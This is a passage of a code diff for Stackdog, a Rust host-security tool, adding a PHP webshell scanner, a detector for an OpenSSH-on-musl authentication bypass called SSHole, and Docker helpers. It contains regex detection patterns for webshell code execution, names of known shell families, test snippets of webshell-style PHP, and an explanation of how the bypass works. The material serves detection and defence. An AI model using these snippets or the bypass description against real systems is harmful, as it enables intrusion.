assert!(findings[0].description.contains("php-in-non-php-file")); + } + + #[test] + fn test_skip_dirs_are_not_scanned() { + let dir = tempfile::tempdir().unwrap(); + fs::create_dir_all(dir.path().join("vendor/acme")).unwrap(); + fs::write(dir.path().join("vendor/acme/shell.php"), SHELL).unwrap(); + + let findings = PhpShellScanner::new() + .detect(&pool(), &[root(dir.path())], &PhpShellOptions::default()) + .unwrap(); + assert!(findings.is_empty()); + } + + #[test] + fn test_removed_shell_leaves_flagged_list() { + let dir = tempfile::tempdir().unwrap(); + let file = dir.path().join("x.php"); + fs::write(&file, SHELL).unwrap(); + + let pool = pool(); + let scanner = PhpShellScanner::new(); + let roots = vec![root(dir.path())]; + let options = PhpShellOptions::default(); + assert_eq!(scanner.detect(&pool, &roots, &options).unwrap().len(), 1); + + fs::remove_file(&file).unwrap(); + scanner.detect(&pool, &roots, &options).unwrap(); + assert!(scanner.flagged_files().read().unwrap().is_empty()); + } + + #[test] + fn test_upload_dir_is_judged_inside_the_root() { + let site = ScanRoot { + fs_path: PathBuf::from("/srv/files/site"), + logical_path: "/srv/files/site".into(), + owner: "host".into(), + }; + assert!(!in_upload_dir_under( + &site, + Path::new("/srv/files/site/index.php") + )); + assert!(in_upload_dir_under( + &site, + Path::new("/srv/files/site/uploads/x.php") + )); + + let uploads_volume = ScanRoot { + fs_path: PathBuf::from("/host/var/lib/docker/volumes/up/_data"), + logical_path: "/var/www/html/wp-content/uploads".into(), + owner: "blog".into(), + }; + assert!(in_upload_dir_under( + &uploads_volume, + Path::new("/host/var/lib/docker/volumes/up/_data/2026/x.php") + )); + } + + #[test] + fn test_in_upload_dir_ignores_file_name() { + assert!(in_upload_dir("/var/www/html/wp-content/uploads/x.php")); + assert!(!in_upload_dir("/var/www/html/uploads.php")); + assert!(!in_upload_dir("/var/www/html/index.php")); + } + + #[test] + fn test_host_roots_go_under_host_root() { + let roots = host_roots(&["/var/www".into()], Some("/host")); + assert_eq!(roots[0].fs_path, PathBuf::from("/host/var/www")); + assert_eq!(roots[0].logical_path, "/var/www"); + + let roots = host_roots(&["/var/www".into()], None); + assert_eq!(roots[0].fs_path, PathBuf::from("/var/www")); + } + + #[test] + fn test_container_roots_from_mounts_and_name() { + let patterns: Vec = DEFAULT_CONTAINER_PATTERNS + .iter() + .map(|p| p.to_string()) + .collect(); + let containers = vec![ + ContainerFilesystem { + name: "blog".into(), + image: "wordpress:6".into(), + mounts: vec![("/srv/blog".into(), "/var/www/html".into())], + ..Default::default() + }, + ContainerFilesystem { + name: "custom-app".into(), + image: "acme/site".into(), + mounts: vec![("/data/site".into(), "/var/www".into())], + ..Default::default() + }, + ContainerFilesystem { + name: "postgres".into(), + image: "postgres:16".into(), + mounts: vec![("/var/lib/pg".into(), "/var/lib/postgresql/data".into())], + ..Default::default() + }, + ]; + + let roots = container_roots(&containers, &patterns, Some("/host")); + assert_eq!(roots.len(), 2); + assert_eq!(roots[0].fs_path, PathBuf::from("/host/srv/blog")); + assert_eq!(roots[0].logical_path, "/var/www/html"); + assert_eq!(roots[0].owner, "blog"); + assert_eq!(roots[1].owner, "custom-app"); + } + + #[test] + fn test_container_roots_read_image_docroot_through_merged_dir() { + let host = tempfile::tempdir().unwrap(); + fs::create_dir_all( + host.path() + .join("var/lib/docker/overlay2/abc/merged/var/www/html"), + ) + .unwrap(); + + let containers = vec![ContainerFilesystem { + name: "php-site".into(), + image: "php:8.3-apache".into(), + merged_dir: Some("/var/lib/docker/overlay2/abc/merged".into()), + ..Default::default() + }]; + let patterns = vec!["php".to_string()]; + + let roots = container_roots(&containers, &patterns, host.path().to_str()); + assert_eq!(roots.len(), 1); + assert_eq!(roots[0].logical_path, "/var/www"); + assert!(roots[0].fs_path.ends_with("merged/var/www")); + } + + /// False-positive check against real code, vendor directories included: + /// `STACKDOG_PHPSHELL_CORPUS=/path/to/wordpress cargo test --lib -- --ignored php_shell_corpus` + #[test] + #[ignore] + fn test_php_shell_corpus_has_no_findings() { + let Ok(corpus) = std::env::var("STACKDOG_PHPSHELL_CORPUS") else { + return; + }; + let options = PhpShellOptions { + skip_dirs: Vec::new(), + ..PhpShellOptions::default() + }; + let roots: Vec = corpus + .split(',') + .map(|path| ScanRoot { + fs_path: PathBuf::from(path), + logical_path: path.to_string(), + owner: "corpus".into(), + }) + .collect(); + + let findings = PhpShellScanner::new() + .detect(&pool(), &roots, &options) + .unwrap(); + for finding in &findings { + eprintln!("{}", finding.description); + } + assert!(findings.is_empty(), "{} files flagged", findings.len()); + } +} diff --git a/src/detectors/php_shell/signatures.rs b/src/detectors/php_shell/signatures.rs new file mode 100644 index 0000000..ba70872 --- /dev/null +++ b/src/detectors/php_shell/signatures.rs @@ -0,0 +1,280 @@ +//! PHP webshell content signatures. +//! +//! No single keyword marks a webshell: WordPress core calls `base64_decode`, +//! Composer calls `proc_open`, and test suites call `assert`. What marks one is +//! user input reaching code execution, or code that hides what it executes. +//! Signatures carry a weight and a file is flagged on the sum. +//! +//! Extra signatures load from a JSON file (`STACKDOG_PHPSHELL_SIGNATURES`) so +//! a new shell family can be covered without a rebuild: +//! +//! ```json +//! [{"id": "acme-shell", "description": "ACME shell marker", +//! "pattern": "acme_shell_v\\d", "weight": "strong"}] +//! ``` + +use anyhow::{Context, Result}; +use regex::{Regex, RegexBuilder}; +use serde::Deserialize; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum Weight { + Strong, + Medium, + Weak, +} + +impl Weight { + pub fn points(self) -> u32 { + match self { + Weight::Strong => 3, + Weight::Medium => 2, + Weight::Weak => 1, + } + } +} + +#[derive(Debug, Clone)] +pub struct Signature { + pub id: String, + pub description: String, + pub pattern: Regex, + pub weight: Weight, +} + +#[derive(Debug, Deserialize)] +struct SignatureSpec { + id: String, + description: String, + pattern: String, + weight: Weight, +} + +const BUILTIN: &[(&str, &str, &str, Weight)] = &[ + ( + "superglobal-exec", + "request input passed straight to a code or command execution function", + r"\b(eval|assert|system|passthru|shell_exec|exec|popen|proc_open|pcntl_exec|create_function)\s*\(\s*@?\s*(\$_(get|post|request|cookie|server|files)\b|stripslashes\s*\(\s*\$_|base64_decode\s*\(\s*\$_)", + Weight::Strong, + ), + ( + "eval-decode-chain", + "eval of decoded or deobfuscated data", + r"\b(eval|assert)\s*\(\s*@?\s*(base64_decode|gzinflate|gzuncompress|gzdecode|str_rot13|strrev|hex2bin|convert_uudecode)\s*\(", + Weight::Strong, + ), + ( + "superglobal-callable", + "request input called as a function", + r"\$_(get|post|request|cookie)\s*\[[^\]]{1,40}\]\s*\(", + Weight::Strong, + ), + ( + "preg-replace-eval", + "preg_replace with the /e modifier (executes the replacement)", + r#"preg_replace\s*\(\s*['"]/[^'"]*/[a-df-z]*e[a-z]*['"]"#, + Weight::Strong, + ), + ( + "backtick-superglobal", + "shell backticks around request input", + r"`[^`\n]{0,80}\$_(get|post|request|cookie)", + Weight::Strong, + ), + ( + "known-family", + "marker of a known webshell family", + r"(c99shell|c99_buff_prepare|r57shell|wso_version|\bfilesman\b|b374k|p0wny|indoxploit|alfa_data|alfashell|weevely|\bphpspy\b|mini shell|anonsec shell)", + Weight::Strong, + ), + ( + "nested-decode", + "decode functions nested inside each other", + r"\b(base64_decode|gzinflate|gzuncompress|str_rot13|strrev)\s*\(\s*(base64_decode|gzinflate|gzuncompress|str_rot13|strrev)\s*\(", + Weight::Medium, + ), + ( + "write-request-input", + "request input written to a file", + r"\b(file_put_contents|fwrite|fputs)\s*\([^;]{0,120}\$_(get|post|request|cookie)", + Weight::Medium, + ), + ( + "silenced-errors", + "error reporting switched off", + r"\berror_reporting\s*\(\s*0\s*\)", + Weight::Weak, + ), + ( + "no-time-limit", + "execution time limit removed", + r"\bset_time_limit\s*\(\s*0\s*\)", + Weight::Weak, + ), + ( + "command-with-variable", + "shell command built from a variable", + r"\b(system|passthru|shell_exec|popen|proc_open)\s*\(\s*\$", + Weight::Weak, + ), +]; + +#[derive(Debug, Clone)] +pub struct SignatureSet { + signatures: Vec, +} + +impl SignatureSet { + pub fn builtin() -> Self { + let signatures = BUILTIN + .iter() + .map(|(id, description, pattern, weight)| Signature { + id: (*id).to_string(), + description: (*description).to_string(), + pattern: compile(pattern).expect("built-in PHP shell signature compiles"), + weight: *weight, + }) + .collect(); + Self { signatures } + } + + /// Built-ins plus the signatures in `path`. + pub fn with_file(path: &str) -> Result { + let mut set = Self::builtin(); + let contents = std::fs::read_to_string(path) + .with_context(|| format!("Failed to read PHP shell signatures {}", path))?; + let specs: Vec = serde_json::from_str(&contents) + .with_context(|| format!("Failed to parse PHP shell signatures {}", path))?; + + for spec in specs { + let pattern = compile(&spec.pattern) + .with_context(|| format!("Invalid pattern in PHP shell signature {}", spec.id))?; + set.signatures.push(Signature { + id: spec.id, + description: spec.description, + pattern, + weight: spec.weight, + }); + } + + Ok(set) + } + + pub fn len(&self) -> usize { + self.signatures.len() + } + + pub fn is_empty(&self) -> bool { + self.signatures.is_empty() + } + + /// Signatures that match `content`, each counted once. + pub fn matches<'a>(&'a self, content: &str) -> Vec<&'a Signature> { + self.signatures + .iter() + .filter(|signature| signature.pattern.is_match(content)) + .collect() + } +} + +fn compile(pattern: &str) -> Result { + RegexBuilder::new(pattern) + .case_insensitive(true) + .size_limit(1 << 20) + .build() + .map_err(Into::into) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn ids(set: &SignatureSet, content: &str) -> Vec { + set.matches(content) + .into_iter() + .map(|signature| signature.id.clone()) + .collect() + } + + #[test] + fn test_builtin_signatures_compile() { + assert_eq!(SignatureSet::builtin().len(), BUILTIN.len()); + } + + #[test] + fn test_china_chopper_one_liner() { + let set = SignatureSet::builtin(); + assert!(ids(&set, r#""#).contains(&"superglobal-exec".into())); + } + + #[test] + fn test_variable_function_shell() { + let set = SignatureSet::builtin(); + assert!(ids(&set, r#""#) + .contains(&"superglobal-callable".into())); + } + + #[test] + fn test_obfuscated_eval() { + let set = SignatureSet::builtin(); + let found = ids( + &set, + r#""#, + ); + assert!(found.contains(&"eval-decode-chain".into())); + assert!(found.contains(&"nested-decode".into())); + } + + #[test] + fn test_preg_replace_e_modifier_but_not_other_modifiers() { + let set = SignatureSet::builtin(); + assert!(ids(&set, r#"preg_replace("/.*/e", $_POST['c'], '');"#) + .contains(&"preg-replace-eval".into())); + assert!(!ids(&set, r#"preg_replace('/\s+/u', ' ', $title);"#) + .contains(&"preg-replace-eval".into())); + } + + #[test] + fn test_ordinary_php_matches_nothing_strong() { + let set = SignatureSet::builtin(); + let ordinary = r#"prepare('SELECT * FROM users WHERE id = ?'); + $stmt->execute([$_GET['id']]); + assert($count > 0); + echo htmlspecialchars($_POST['name']); + "#; + assert!(set + .matches(ordinary) + .iter() + .all(|signature| signature.weight != Weight::Strong)); + } + + #[test] + fn test_signature_file_extends_builtins() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("signatures.json"); + std::fs::write( + &path, + r#"[{"id":"acme","description":"ACME marker","pattern":"acme_shell_v\\d","weight":"strong"}]"#, + ) + .unwrap(); + + let set = SignatureSet::with_file(path.to_str().unwrap()).unwrap(); + assert_eq!(set.len(), BUILTIN.len() + 1); + assert_eq!(ids(&set, "// ACME_SHELL_V2"), vec!["acme".to_string()]); + } + + #[test] + fn test_invalid_signature_file_is_an_error() { + let dir = tempfile::tempdir().unwrap(); + let path = dir.path().join("signatures.json"); + std::fs::write( + &path, + r#"[{"id":"bad","description":"x","pattern":"(","weight":"strong"}]"#, + ) + .unwrap(); + assert!(SignatureSet::with_file(path.to_str().unwrap()).is_err()); + } +} diff --git a/src/detectors/sshole.rs b/src/detectors/sshole.rs new file mode 100644 index 0000000..ef349db --- /dev/null +++ b/src/detectors/sshole.rs @@ -0,0 +1,433 @@ +//! SSHole (CVE-2026-123158): OpenSSH authentication bypass on musl. +//! +//! SSHole lets an unauthenticated attacker log into accounts that carry a `*` +//! in the password field (password-disabled accounts such as root or alpine) +//! by sending an oversized password: 257 to 1024 bytes make the hash attempt +//! fail, and OpenSSH without PAM reads that failure as the same `*` the +//! account stores. It affects Linux systems that run OpenSSH on musl with PAM +//! disabled, including Alpine's default server configuration. Fixed in +//! OpenSSH 10.6p2 (10.6_p2 on Alpine). +//! +//! Two halves, same shape as the PHP2Shell work: +//! +//! - [`SshVersionMonitor`] flags OpenSSH builds that predate the fix on musl +//! systems (`vuln.sshole`). A version names no attacker, so it alerts and +//! never bans. +//! - [`SshPasswordLoginDetector`] watches logs for password logins to key-only +//! accounts (`ssh.password-login`). That is what a successful SSHole login +//! looks like, and Alpine's own guidance is to hunt exactly these lines. The +//! line carries the client address, so it feeds the ban engine. + +use std::collections::{HashMap, HashSet}; +use std::path::{Path, PathBuf}; +use std::sync::Mutex; +use std::time::SystemTime; + +use crate::detectors::audits::parse_apk_installed; +use crate::detectors::php_shell::{under_host_root, ContainerFilesystem}; +use crate::detectors::{DetectorFamily, DetectorFinding, LogDetector}; +use crate::sniff::analyzer::AnomalySeverity; +use crate::sniff::reader::LogEntry; + +pub const VERSION_DETECTOR_ID: &str = "vuln.sshole"; +pub const PASSWORD_LOGIN_DETECTOR_ID: &str = "ssh.password-login"; + +const CVES: &str = "CVE-2026-123158"; + +/// First fixed upstream release: 10.6p2. +const FIXED: (u32, u32, u32) = (10, 6, 2); + +/// Accounts whose password field is `*` by default, so a password login to +/// them is either a misconfiguration or SSHole. Alpine's advisory names these +/// two; `STACKDOG_SSHOLE_KEYONLY_USERS` extends the list. +pub const DEFAULT_KEYONLY_USERS: &[&str] = &["root", "alpine"]; + +/// Findings per pass. Each one is an offense, like the PHP2Shell attempts. +const MAX_FINDINGS: usize = 50; + +/// Packages that carry the sshd that checks passwords without PAM (Alpine's +/// default flavor). The PAM and krb5 flavors are built `--with-pam` and are +/// not affected; their packages are `openssh-server-pam` and +/// `openssh-server-krb5`. +const VULNERABLE_SERVER_PACKAGES: &[&str] = &["openssh-server", "openssh"]; + +/// Only the musl distribution uses this package database, and musl is the +/// half of the vulnerable configuration we can see from disk. +const APK_DATABASE: &str = "lib/apk/db/installed"; + +/// `10.6_p2`, `10.6p2`, `OpenSSH_10.6p2`, `9.3_p2-r0` -> (10, 6, 2). +pub fn upstream_ssh_version(version: &str) -> Option<(u32, u32, u32)> { + let without_epoch = version.split_once(':').map_or(version, |(_, rest)| rest); + let start = without_epoch.find(|c: char| c.is_ascii_digit())?; + let rest = &without_epoch[start..]; + + let major_len = rest.chars().take_while(|c| c.is_ascii_digit()).count(); + let major: u32 = rest[..major_len].parse().ok()?; + let rest = &rest[major_len..]; + let rest = rest.strip_prefix('.')?; + + let minor_len = rest.chars().take_while(|c| c.is_ascii_digit()).count(); + let minor: u32 = rest[..minor_len].parse().ok()?; + let suffix = &rest[minor_len..]; + + // The portable release number: "p2" upstream, "_p2" on Alpine. Absent + // means the first portable release of that series. + let p = suffix + .find('p') + .and_then(|index| { + suffix[index + 1..] + .chars() + .take_while(|c| c.is_ascii_digit()) + .collect::() + .parse() + .ok() + }) + .unwrap_or(0); + + Some((major, minor, p)) +} + +/// Whether an OpenSSH build predates the SSHole fix. +pub fn predates_fix(version: &str) -> Option { + upstream_ssh_version(version).map(|parsed| parsed < FIXED) +} + +/// A package database parsed from a file, kept while the file does not change. +struct CachedPackages { + modified: SystemTime, + size: u64, + packages: Vec<(String, String)>, +} + +#[derive(Default)] +pub struct SshVersionMonitor { + cache: Mutex>, +} + +impl SshVersionMonitor { + pub fn new() -> Self { + Self::default() + } + + pub fn detect( + &self, + containers: &[ContainerFilesystem], + host_root: Option<&str>, + ) -> Vec { + let mut installs = self.installs_under("host", &under_host_root(host_root, "/")); + + for container in containers { + if let Some(merged_dir) = &container.merged_dir { + installs.extend( + self.installs_under(&container.name, &under_host_root(host_root, merged_dir)), + ); + } + } + + findings(&installs) + } + + fn installs_under(&self, owner: &str, root: &Path) -> Vec<(String, String, String)> { + self.packages(&root.join(APK_DATABASE)) + .into_iter() + .filter(|(name, _)| VULNERABLE_SERVER_PACKAGES.contains(&name.as_str())) + .map(|(name, version)| (owner.to_string(), name, version)) + .collect() + } + + fn packages(&self, path: &Path) -> Vec<(String, String)> { + let Ok(metadata) = std::fs::metadata(path) else { + return Vec::new(); + }; + let modified = metadata.modified().unwrap_or(SystemTime::UNIX_EPOCH); + let size = metadata.len(); + + if let Ok(cache) = self.cache.lock() { + if let Some(cached) = cache.get(path) { + if cached.modified == modified && cached.size == size { + return cached.packages.clone(); + } + } + } + + let Ok(content) = std::fs::read_to_string(path) else { + return Vec::new(); + }; + let packages = parse_apk_installed(&content); + + if let Ok(mut cache) = self.cache.lock() { + cache.insert( + path.to_path_buf(), + CachedPackages { + modified, + size, + packages: packages.clone(), + }, + ); + } + packages + } +} + +/// One finding per exposed `(owner, version)`. +pub fn findings(installs: &[(String, String, String)]) -> Vec { + let mut seen = HashSet::new(); + let mut findings = Vec::new(); + + for (owner, name, version) in installs { + if !seen.insert((owner.as_str(), version.as_str())) { + continue; + } + if predates_fix(version) != Some(true) { + continue; + } + + findings.push(DetectorFinding { + detector_id: VERSION_DETECTOR_ID.into(), + family: DetectorFamily::Vulnerability, + description: format!( + "SSHole authentication bypass ({CVES}): OpenSSH {version} on {owner} ({name}) predates the 10.6p2 fix. This is the vulnerable configuration: musl, passwords checked without PAM. An oversized password logs the attacker into accounts whose password field is `*` (root, alpine). Upgrade to 10.6p2, 10.6_p2 on Alpine, and restart sshd. Until the upgrade Stackdog is defending this box: it bans on the spot any address that password-logs into a key-only account, and keeps watching the auth logs" + ), + severity: AnomalySeverity::Critical, + confidence: 92, + sample_line: format!("{owner} package {name} {version}"), + }); + } + + findings +} + +/// Password logins to accounts that should never accept one. That is either a +/// misconfiguration or the signature of a successful SSHole login. +pub struct SshPasswordLoginDetector { + keyonly_users: Vec, +} + +impl SshPasswordLoginDetector { + pub fn new() -> Self { + Self { + keyonly_users: keyonly_users(), + } + } + + #[cfg(test)] + fn with_users(users: &[&str]) -> Self { + Self { + keyonly_users: users.iter().map(|user| user.to_string()).collect(), + } + } +} + +impl Default for SshPasswordLoginDetector { + fn default() -> Self { + Self::new() + } +} + +/// `root`, `alpine`, plus whatever the operator runs key-only. +pub fn keyonly_users() -> Vec { + let configured = std::env::var("STACKDOG_SSHOLE_KEYONLY_USERS").ok(); + configured + .map(|value| { + value + .split(',') + .map(|item| item.trim().to_string()) + .filter(|item| !item.is_empty()) + .collect::>() + }) + .filter(|users| !users.is_empty()) + .unwrap_or_else(|| { + DEFAULT_KEYONLY_USERS + .iter() + .map(|user| user.to_string()) + .collect() + }) +} + +impl LogDetector for SshPasswordLoginDetector { + fn id(&self) -> &'static str { + PASSWORD_LOGIN_DETECTOR_ID + } + + fn family(&self) -> DetectorFamily { + DetectorFamily::Execution + } + + fn detect(&self, entries: &[LogEntry]) -> Vec { + // Identical lines are separate logins, and the registry drops findings + // with identical samples, so repeats are numbered to count as the + // offenses they are. + let mut seen: HashMap = HashMap::new(); + + entries + .iter() + .filter_map(|entry| { + let account = password_login_account(&entry.line)?; + if !self + .keyonly_users + .iter() + .any(|user| user.eq_ignore_ascii_case(account)) + { + return None; + } + + let count = seen.entry(entry.line.clone()).or_insert(0); + *count += 1; + let sample_line = if *count > 1 { + format!("{} (repeat {})", entry.line, count) + } else { + entry.line.clone() + }; + + Some(DetectorFinding { + detector_id: PASSWORD_LOGIN_DETECTOR_ID.into(), + family: DetectorFamily::Execution, + description: format!( + "Password login to key-only account {account}. SSHole ({CVES}) logs in exactly this way, and a successful login is a foothold, not a failed attempt. If nobody should use passwords here, treat the host as compromised: check users, authorized_keys and doas, then upgrade OpenSSH to 10.6p2 and restart sshd" + ), + severity: AnomalySeverity::High, + confidence: 85, + sample_line, + }) + }) + .take(MAX_FINDINGS) + .collect() + } +} + +/// The account an "Accepted password for from ..." line names. +fn password_login_account(line: &str) -> Option<&str> { + let lower = line.to_ascii_lowercase(); + let marker = "accepted password for "; + let start = lower.find(marker)? + marker.len(); + let rest = &line[start..]; + let end = rest + .find(|c: char| c.is_whitespace() || c == ',') + .unwrap_or(rest.len()); + let account = &rest[..end]; + (!account.is_empty()).then_some(account) +} + +#[cfg(test)] +mod tests { + use super::*; + use chrono::Utc; + + #[test] + fn test_version_parsing() { + assert_eq!(upstream_ssh_version("10.6_p2-r0"), Some((10, 6, 2))); + assert_eq!(upstream_ssh_version("10.6p2"), Some((10, 6, 2))); + assert_eq!(upstream_ssh_version("OpenSSH_10.6p2"), Some((10, 6, 2))); + assert_eq!(upstream_ssh_version("9.3_p2-r0"), Some((9, 3, 2))); + assert_eq!(upstream_ssh_version("1:9.2p1-2+deb12u5"), Some((9, 2, 1))); + assert_eq!(upstream_ssh_version("10.6"), Some((10, 6, 0))); + assert_eq!(upstream_ssh_version("not-a-version"), None); + } + + #[test] + fn test_versions_before_the_fix_are_exposed() { + assert_eq!(predates_fix("10.6_p1-r0"), Some(true)); + assert_eq!(predates_fix("10.6_p2-r0"), Some(false)); + assert_eq!(predates_fix("9.3_p2-r0"), Some(true)); + assert_eq!(predates_fix("10.7p1"), Some(false)); + assert_eq!(predates_fix("garbage"), None); + } + + fn monitor_with(root: &Path, packages: &str) -> Vec { + let apk = root.join("lib/apk/db"); + std::fs::create_dir_all(&apk).unwrap(); + std::fs::write(apk.join("installed"), packages).unwrap(); + SshVersionMonitor::new().detect(&[], root.to_str()) + } + + #[test] + fn test_old_openssh_on_musl_is_reported_and_the_fix_is_not() { + let root = tempfile::tempdir().unwrap(); + let found = monitor_with( + root.path(), + "P:openssh-server\nV:10.6_p1-r0\n\nP:openssh-keygen\nV:10.6_p1-r0\n\n", + ); + assert_eq!(found.len(), 1, "{found:#?}"); + assert_eq!(found[0].detector_id, VERSION_DETECTOR_ID); + assert_eq!(found[0].severity, AnomalySeverity::Critical); + assert!(found[0].description.contains("10.6_p1-r0")); + assert!(found[0].description.contains("restart sshd")); + // The Slack message must say what defends the box until the upgrade. + assert!(found[0].description.contains("Until the upgrade")); + + let patched = tempfile::tempdir().unwrap(); + assert!(monitor_with(patched.path(), "P:openssh-server\nV:10.6_p2-r0\n\n").is_empty()); + } + + #[test] + fn test_pam_flavour_and_glibc_systems_are_not_reported() { + // The PAM flavor checks passwords through PAM: not affected. + let root = tempfile::tempdir().unwrap(); + assert!(monitor_with(root.path(), "P:openssh-server-pam\nV:9.3_p2-r0\n\n").is_empty()); + + // A dpkg system is glibc-based: not affected, and unread anyway. + let glibc = tempfile::tempdir().unwrap(); + let dpkg = glibc.path().join("var/lib/dpkg"); + std::fs::create_dir_all(&dpkg).unwrap(); + std::fs::write( + dpkg.join("status"), + "Package: openssh-server\nVersion: 1:9.2p1-2+deb12u5\n\n", + ) + .unwrap(); + assert!(SshVersionMonitor::new() + .detect(&[], glibc.path().to_str()) + .is_empty()); + } + + fn entries(lines: &[&str]) -> Vec { + lines + .iter() + .map(|line| LogEntry { + source_id: "sshd".into(), + timestamp: Utc::now(), + line: (*line).into(), + metadata: HashMap::new(), + }) + .collect() + } + + #[test] + fn test_password_login_to_keyonly_account_is_reported() { + let detector = SshPasswordLoginDetector::with_users(&["root", "alpine"]); + let found = detector.detect(&entries(&[ + // Captured verbatim from a live Alpine sshd (password login in a + // lab container): the exact line shape a successful SSHole login + // produces. + "Accepted password for root from 192.168.65.1 port 28046 ssh2", + "Nov 6 10:00:00 host sshd[123]: Accepted password for root from 89.116.89.18 port 51234 ssh2", + "Nov 6 10:00:01 host sshd[124]: Accepted password for alpine from 89.116.89.18 port 51236 ssh2", + ])); + assert_eq!(found.len(), 3); + assert_eq!(found[0].detector_id, PASSWORD_LOGIN_DETECTOR_ID); + assert!(found[1].sample_line.contains("89.116.89.18")); + } + + #[test] + fn test_ordinary_ssh_lines_are_not_reported() { + let detector = SshPasswordLoginDetector::with_users(&["root", "alpine"]); + let found = detector.detect(&entries(&[ + // A password user that is not on the key-only list. + "Nov 6 10:00:00 host sshd[123]: Accepted password for deploy from 203.0.113.9 port 51234 ssh2", + // Key logins are the normal case. + "Nov 6 10:00:01 host sshd[124]: Accepted publickey for root from 203.0.113.9 port 51236 ssh2", + // Failures belong to the brute-force detector. + "Nov 6 10:00:02 host sshd[125]: Failed password for root from 203.0.113.9 port 51238 ssh2", + // A PAM-based login is not the SSHole path. + "Nov 6 10:00:03 host sshd[126]: Accepted keyboard-interactive/pam for root from 203.0.113.9 port 51240 ssh2", + ])); + assert_eq!(found.len(), 0, "{found:#?}"); + } + + #[test] + fn test_each_login_line_is_its_own_offense() { + let detector = SshPasswordLoginDetector::with_users(&["root"]); + let line = "Nov 6 10:00:00 host sshd[123]: Accepted password for root from 89.116.89.18 port 51234 ssh2"; + let found = detector.detect(&entries(&[line; 5])); + assert_eq!(found.len(), 5); + } +} diff --git a/src/docker/client.rs b/src/docker/client.rs index 44211d8..46ba2dd 100644 --- a/src/docker/client.rs +++ b/src/docker/client.rs @@ -55,6 +55,11 @@ impl DockerClient { } /// Get container info by ID + /// + /// The name comes from the container's own name, not its hostname: under + /// `network_mode: host` the hostname is the host's, and otherwise Docker + /// defaults it to the short ID — so hostname never yields what `docker ps` + /// shows. pub async fn get_container_info(&self, container_id: &str) -> Result { let inspect = self .client @@ -62,14 +67,17 @@ impl DockerClient { .await .context("Failed to inspect container")?; + let name = container_display_name( + inspect.name.as_deref(), + inspect.config.as_ref().and_then(|c| c.hostname.as_deref()), + container_id, + ); let config = inspect.config.unwrap_or_default(); let state = inspect.state.unwrap_or_default(); Ok(ContainerInfo { id: container_id.to_string(), - name: config - .hostname - .unwrap_or_else(|| container_id[..12].to_string()), + name, image: config.image.unwrap_or_else(|| "unknown".to_string()), status: if state.running.unwrap_or(false) { "Running" @@ -80,6 +88,7 @@ impl DockerClient { } .to_string(), created: state.started_at.unwrap_or_default(), + labels: config.labels.unwrap_or_default(), network_settings: inspect .network_settings .map(|ns| { @@ -93,6 +102,123 @@ impl DockerClient { }) } + /// Get posture information by ID for detector-backed audits + pub async fn get_container_posture( + &self, + container_id: &str, + ) -> Result { + let inspect = self + .client + .inspect_container(container_id, None::) + .await + .context("Failed to inspect container")?; + + let config = inspect.config.unwrap_or_default(); + let host_config = inspect.host_config.unwrap_or_default(); + + Ok(crate::detectors::ContainerPosture { + container_id: container_id.to_string(), + name: inspect + .name + .unwrap_or_else(|| container_id[..12].to_string()) + .trim_start_matches('/') + .to_string(), + image: config.image.unwrap_or_else(|| "unknown".to_string()), + privileged: host_config.privileged.unwrap_or(false), + network_mode: host_config.network_mode.filter(|value| !value.is_empty()), + pid_mode: host_config.pid_mode.filter(|value| !value.is_empty()), + cap_add: host_config.cap_add.unwrap_or_default(), + mounts: host_config.binds.unwrap_or_default(), + }) + } + + /// Mounts and root filesystem of each running container, for the PHP + /// shell scanner to find docroots on the host. + pub async fn list_container_filesystems( + &self, + ) -> Result> { + let containers = self + .client + .list_containers(None::>) + .await + .context("Failed to list containers for PHP shell scan")?; + + let mut result = Vec::new(); + for container in containers { + let Some(id) = container.id else { + continue; + }; + let inspect = match self + .client + .inspect_container(&id, None::) + .await + { + Ok(inspect) => inspect, + Err(err) => { + log::debug!("Skipping container {} in PHP shell scan: {}", id, err); + continue; + } + }; + + let mounts = inspect + .mounts + .unwrap_or_default() + .into_iter() + .filter_map(|mount| Some((mount.source?, mount.destination?))) + .collect(); + let merged_dir = inspect + .graph_driver + .and_then(|driver| driver.data.get("MergedDir").cloned()); + let config = inspect.config.unwrap_or_default(); + let php_version = config.env.unwrap_or_default().into_iter().find_map(|var| { + var.strip_prefix("PHP_VERSION=") + .map(|version| version.trim().to_string()) + }); + + result.push(crate::detectors::php_shell::ContainerFilesystem { + name: inspect + .name + .unwrap_or_else(|| id.chars().take(12).collect()) + .trim_start_matches('/') + .to_string(), + image: config.image.unwrap_or_default(), + id, + mounts, + merged_dir, + php_version, + }); + } + + Ok(result) + } + + /// List container posture information for detector-backed audits + pub async fn list_container_postures( + &self, + all: bool, + ) -> Result> { + let options: Option> = Some(ListContainersOptions { + all, + size: false, + ..Default::default() + }); + + let containers = self + .client + .list_containers(options) + .await + .context("Failed to list containers for posture audit")?; + + let mut result = Vec::new(); + for container in containers { + if let Some(id) = container.id { + result.push(self.get_container_posture(&id).await?); + } + } + + Ok(result) + } + /// Quarantine a container (disconnect from all networks) pub async fn quarantine_container(&self, container_id: &str) -> Result<()> { // List all networks @@ -210,6 +336,26 @@ pub struct ContainerInfo { pub status: String, pub created: String, pub network_settings: HashMap, + /// Docker labels, including any set by docker-compose + pub labels: HashMap, +} + +/// Pick the name to show for a container. +/// +/// Docker returns the inspect name with a leading slash ("/redis"). Falls back +/// to the hostname, then to the short ID, so there is always something to print. +fn container_display_name( + inspect_name: Option<&str>, + hostname: Option<&str>, + container_id: &str, +) -> String { + inspect_name + .map(|name| name.trim_start_matches('/')) + .filter(|name| !name.is_empty()) + .or(hostname) + .filter(|name| !name.is_empty()) + .map(str::to_string) + .unwrap_or_else(|| container_id.chars().take(12).collect()) } /// Container statistics @@ -228,6 +374,33 @@ pub struct ContainerStats { mod tests { use super::*; + #[test] + fn test_container_display_name_prefers_real_name() { + assert_eq!( + container_display_name(Some("/redis"), Some("0f3b46ca0c16"), "0f3b46ca0c16aaaa"), + "redis" + ); + } + + #[test] + fn test_container_display_name_falls_back_to_hostname_then_id() { + // No name from inspect: hostname is the next best thing. + assert_eq!( + container_display_name(None, Some("web-01"), "0f3b46ca0c16aaaa"), + "web-01" + ); + + // Neither available: short ID keeps the output usable. + assert_eq!( + container_display_name(None, None, "0f3b46ca0c16aaaa"), + "0f3b46ca0c16" + ); + assert_eq!( + container_display_name(Some("/"), Some(""), "0f3b46ca0c16aaaa"), + "0f3b46ca0c16" + ); + } + 